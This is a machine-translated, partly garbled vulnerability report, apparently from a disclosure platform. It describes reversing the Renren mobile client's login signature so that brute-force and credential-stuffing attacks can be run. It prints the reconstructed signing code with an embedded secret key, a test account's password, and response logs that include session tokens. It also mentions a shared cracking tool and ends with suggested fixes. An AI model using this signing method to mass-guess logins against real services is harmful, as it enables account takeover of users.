Reverse Renren client, brute-force cracking + credential stuffing & gt;

Reverse Renren client, cracking Verification Algorithm <brute-force cracking + credential stuffing>

Reverse Renren client, cracking Verification Algorithm <brute-force cracking + credential stuffing>
It was discovered many years ago. It was written to commemorate those days and to commemorate those who had been cracked by me .....

Log on to everyone and capture packets. A large number of fields are found.

Url: http://api.m.ren.com/apifield: method fixed value client. loginclient_info: Mobile Phone information. gz fixed value: compressionv fixed value: 1.0format fixed value: JSONuniq_id fixed value: 00000000000api_key fixed value: (officially we should be able to find out the software version here) user email password user password md5 encryption call_id time

From the above, it is not hard to see that except for the sig field, it is easy to say that the sig field is incorrect when data is submitted. There is no way to calculate this sig value in reverse order. The specific process is complicated. Finally, the reverse output is as follows:

Paras. sort (new ParameterComparer (); // paras is the key-Value Name and key-value pair of all submitted fields. Sort StringBuilder sbList = new StringBuilder () first (); foreach (APIParameter para in paras) {string temp = para. name + "=" + para. value; // sort each sorted key-Value and key-Value Pair and then splice them in this format if (temp. length> = 62) // if a single string contains more than 62 characters, it must be intercepted. It took me a long time to debug sbList. append (temp. substring (0, 62); elsesbList. append (temp);} sbList. append ("91c82b04d85549e3af738a0ad605ab95"); // concatenate the string at the end of the string. It is estimated that this string is a hashsig with version information = HttpUtil. MD5Encrpt (sbList. toString (); // the sig is obtained after md5 is calculated.

Follow this method to submit again, and then analyze the range value to confirm that the password is correct. Here, note that even if the error_code 10000 password appears, it is still correct.



The danger is that attackers can perform brute-force cracking and, of course, hit databases that are currently popular.





The above is a problem found about two years ago, and the test still exists. At that time, a brute-force cracking program was written and attached to it. Use the test program to test the source code. Because there are too many project files for vs, they can only be shared by Baidu cloud. if the manufacturer does not feel appropriate after verification, please notify me to cancel sharing in time.

I used my account to test brute force attacks. I put my password at the end.
 

 

The efficiency is that the Code is written for a long time and will not be optimized at that time.



The following is a test using the account you just applied.

Username: [email protected] Password: kefcjmqy

Generate 2000 incorrect passwords. Then, place the correct passwords at the end and at the top. The test results are as follows:
 

The above shows that the correct password is cracked twice.

68 kefcjmqyjieya: {"session_key": "t2dwompKw2BslD3k", "ticket": "success", "uid": 872836293, "secret_key": "success", "user_name ": "Play ah", "head_url": "http://a.xnimg.cn/wap/figure/head100.png", "now": 1428551073258, "login_count": 1, "fill_stage": 0, "is_guide": 1, "vip_url": "http:// I .renren.com/client/icon? Uid = "," vip_icon_url ":" "," web_ticket ":" 05e2d659b7527c8abe96680c85f932933 "," uniq_key ":" bytes "}

This is the first time. It was correct in 68th cracking attempts.

2115 kefcjmqyjieya: {"error_code": 10000, "error_msg": "Logon Failed, please try again "}

As mentioned above, "error_code": 10000 is the correct password. This is the first brute-force cracking attack.

Solution:

Disable applications of earlier versions

Times filtering, etc.

It is recommended to write key items such as the validation algorithm into jni to raise the threshold for reverse engineering.